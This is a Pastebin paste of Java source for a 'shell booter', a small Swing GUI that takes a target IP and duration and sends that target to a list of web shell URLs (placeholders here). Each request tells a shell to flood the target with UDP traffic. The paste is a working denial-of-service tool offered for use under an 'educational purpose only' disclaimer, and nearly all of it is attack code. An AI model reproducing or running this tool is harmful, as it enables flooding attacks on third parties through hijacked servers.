Advertisement
Guest User

Java ShellBooter, From Scratch

a guest
Sep 20th, 2014
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 3.08 KB | None | 0 0
  1. This is a java project made for fun, and for build my java understandment up, this is only for educationel Purpose only, i'm not responsable for any damage done made with this tool.
  2.  
  3. [jGui.java] :
  4. /**
  5. * Java shell booter.
  6. * @author (AnonCat)
  7. * @Skype (jAnoncat)
  8. * @version (1.2Beta)
  9. */
  10.  
  11. import java.awt.Color;
  12. import java.awt.event.ActionEvent;
  13. import java.awt.event.ActionListener;
  14. import java.io.IOException;
  15. import java.net.MalformedURLException;
  16. import java.net.URL;
  17. import java.net.URLConnection;
  18. import javax.swing.*;
  19.  
  20.  
  21.  
  22. public class jGui extends JFrame {
  23.     private static final long serialVersionUID = 1L;
  24.  
  25. public static void showFrame(String string,int width,int height) {
  26.      
  27.        JPanel jp = new JPanel();
  28.        JButton bStart = new JButton("Start");
  29.        JLabel Jl = new JLabel("IP:");
  30.        JLabel JlP = new JLabel("Time:");
  31.        JFrame Jf = new JFrame(string);
  32.  
  33.        final JTextField IP = new JTextField();
  34.        final JTextField Port = new JTextField();
  35.        Jf.setSize(width, height);
  36.        Jf.setContentPane(jp);
  37.        Jf.setResizable(false);
  38.        Jf.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  39.        jp.setLayout(null);
  40.        jp.add(Jl).setBounds(1, 1, 15, 30);
  41.        //Set Compenments Colors
  42.        jp.setBackground(Color.BLACK);
  43.        bStart.setBackground(Color.black);
  44.        bStart.setForeground(Color.green);
  45.        Jl.setForeground(Color.green);
  46.        Port.setBackground(Color.black);
  47.        IP.setBackground(Color.black);
  48.        Port.setForeground(Color.GREEN);
  49.        IP.setForeground(Color.GREEN);
  50.        JlP.setForeground(Color.green);
  51.        jp.add(IP).setBounds(16, 1, 184, 30);
  52.        jp.add(JlP).setBounds(1, 41, 199, 30);
  53.        jp.add(bStart).setBounds(1, 75, 199, 30);
  54.  
  55.        jp.add(Port).setBounds(36, 41, 164, 30);
  56.        Jf.setVisible(true);
  57.      
  58.        //Button Start
  59.        bStart.addActionListener(new ActionListener() {
  60.  
  61.                @Override
  62.                public void actionPerformed(ActionEvent arg0) {
  63.                        Boot(IP.getText(),Integer.parseInt(Port.getText()));
  64.                }
  65.              
  66.        });
  67. }
  68. public static void main(String[] args) {
  69.        showFrame("Java ShellBoot" , 210,135);
  70. }
  71. @SuppressWarnings("unused")
  72. private static void Boot(String i,int t) {
  73.        for(int sh = 0; sh< SL.ShellList.length;sh++) {
  74.        try {
  75.                URL Shell = new URL(SL.ShellList[sh] + i+"&port=80" + "&time=" + t+"&method=UDP&key=USER53cbc482834d");
  76.                URLConnection shellcon = Shell.openConnection();
  77.                shellcon.connect();
  78.        } catch (MalformedURLException e) {
  79.             PrivateErrorMessage("Unknown Websites");
  80.        } catch (IOException e) {
  81.             PrivateErrorMessage("Unknown Host");
  82.                
  83.        }
  84.        }
  85.  
  86. }
  87. private static void PrivateErrorMessage(String error) {
  88. System.out.println(error); 
  89. }
  90. }
  91.  
  92. [SL.java] :
  93.  
  94. public class SL {
  95. public static String[] ShellList = {
  96.     //Shells Goes here.
  97.        "http://Shell.com/",
  98.        "http://Shell.com/"
  99. };
  100. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement